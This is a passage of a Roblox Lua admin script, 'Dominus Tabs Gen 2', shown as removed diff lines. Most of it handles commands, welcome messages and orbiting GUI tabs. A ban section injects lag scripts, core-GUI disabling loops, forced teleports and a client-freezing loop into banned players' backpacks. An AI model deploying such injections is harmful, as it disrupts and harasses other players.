- if v["Say"]..key == m:sub(1, #v["Say"]+#key) then
- v["Func"](getPlayers(m:sub(#v["Say"]+#key+1)), m:sub(#v["Say"]+#key+1))
- end
- end
- end)
- for i = 0,8,1 do
- wait(0.01)
- end
- Output("Welcome to Dominus Tabs Gen 2", __)
- Output("Created by thebuilder307 and LuaScripterSB", __)
- Output("New Updates : "..Updates, __)
- Output("User: "..LocalPlayer.Name, __)
- tabmodeldebounce = false
- modeldebounce = false
- game:service'RunService'.Stepped:connect(function()
- if modeldebounce then return end
- rot = (rot % 360) + 0.5
- if tabmodel.Parent ~= workspace then
- modeldebounce = true
- tabs = {}
- tabmodel = Instance.new("Model", workspace)
- tabmodel.Name = "Dominus tabs"
- tabs = {}
- wait()
- modeldebounce = false
- end
- end)
- rot = 0
- coroutine.resume(coroutine.create(function()
- game:GetService("RunService").Stepped:connect(function()
- if probemode == false then
- if LocalPlayer.Character then
- if LocalPlayer.Character:findFirstChild("Torso") then
- rot = rot + 0.0001
- for i,v in pairs(Tabs) do
- ypcall(function()
- local pos = LocalPlayer.Character.Torso.CFrame
- local radius = 4 + (#Tabs * 0.5)
- local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local y = 0
- local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local arot = Vector3.new(x, y, z) + pos.p
- local brot = v.CFrame.p
- local crot = (arot * .1 + brot * .9)
- v.CFrame = CFrame.new(crot, pos.p)
- end)
- end
- end
- end
- end
- if probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- rot = rot + 0.0001
- for i,v in pairs(Tabs) do
- ypcall(function()
- local pos = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").CFrame
- local radius = 4 + (#Tabs * 0.5)
- local x = math.sin((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local y = 0
- local z = math.cos((i / #Tabs - (0.5 / #Tabs) + rot * 2) * math.pi * 2) * radius
- local arot = Vector3.new(x, y, z) + pos.p
- local brot = v.CFrame.p
- local crot = (arot * .1 + brot * .9)
- v.CFrame = CFrame.new(crot, pos.p)
- end)
- end
- end
- end
- end)
- end))
- for _,v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- Connect(v)
- end
- end
- game.Players.ChildAdded:connect(function(qe)
- if qe:IsA("Player") then
- Connect(qe)
- end
- end)
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- for a, plr in pairs(game.Players:GetChildren()) do
- pcall(function()
- for b, Bl in pairs(Banlist) do
- if plr.Name == Bl["Name"] then
- if Bl["BRank"] == -1 then
- plr:Destroy()
- elseif Bl["BRank"] == -2 then
- NewLS(LagSource, plr.Backpack)
- elseif Bl["BRank"] == -3 then
- NewLS("script.Parent = nil; while wait(0.1) do; game:service'StarterGui':SetCoreGuiEnabled(3, false); end", plr.Backpack)
- elseif Bl["BRank"] == -4 then
- NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
- else
- plr:Destroy()
- end
- end
- end
- end)
- end
- end
- end))
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name == "thebuilder307" then
- Output("YAY, THE CREATOR OF THIS SCRIPT IS IN-GAME :D :D :D")
- end
- end
- game.Players.PlayerAdded:connect(function(plr)
- if plr.Name == "LuaScripterSB" then
- Output("YAY, THE CREATOR OF THIS SCRIPT IS IN-GAME :D :D :D")
- end
- end)
- game:GetService("RunService").RenderStepped:connect(function()
- for _,a in pairs(game:service('Players'):children()) do
- for _,b in pairs(Banlist) do
- if b:find(a.Name) then
- NewLS([==[
- Instance.new('Message',Workspace).Text = "You are Banned."
- game:GetService("RunService").RenderStepped(function()
- Delay(0, function() return end)
- end)
- ]==], a.Backpack)
- a:remove()--If his client is even left standing xD
- Output('Banned Player | '..a.Name..' | Attempted to join.',__)
- else
- end
- end
- end
- end)
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